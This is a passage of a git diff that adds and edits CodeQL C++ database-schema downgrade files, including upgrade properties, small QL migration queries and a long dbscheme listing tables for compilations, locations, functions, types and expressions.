nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties new file mode 100644 index 00000000000..9299dcb085a --- /dev/null +++ b/cpp/downgrades/3c45f8b9e71ec723bf50c40581e1f18f4f25e290/upgrade.properties @@ -0,0 +1,3 @@ +description: capture whether a lambda has an explicitly specified parameter list. +compatibility: full +lambdas.rel: run lambdas.qlo diff --git a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql index 015d02d3ec7..8e111e9e791 100644 --- a/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql +++ b/cpp/downgrades/59cb96ca699929b63941e81905f9b8de7eed59a6/preprocdirects.ql @@ -11,7 +11,7 @@ int getKind(int kind) { if kind = 14 then result = 6 // Represent MSFT #import as #include else - if kind = 15 or kind = 6 + if kind = 15 or kind = 16 then result = 3 // Represent #elifdef and #elifndef as #elif else result = kind } diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql new file mode 100644 index 00000000000..73b715fd71f --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/builtintypes.ql @@ -0,0 +1,9 @@ +class BuiltinType extends @builtintype { + string toString() { none() } +} + +from BuiltinType id, string name, int kind, int new_kind, int size, int sign, int alignment +where + builtintypes(id, name, kind, size, sign, alignment) and + if kind = 62 then new_kind = 1 else new_kind = kind +select id, name, new_kind, size, sign, alignment diff --git a/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/downgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + 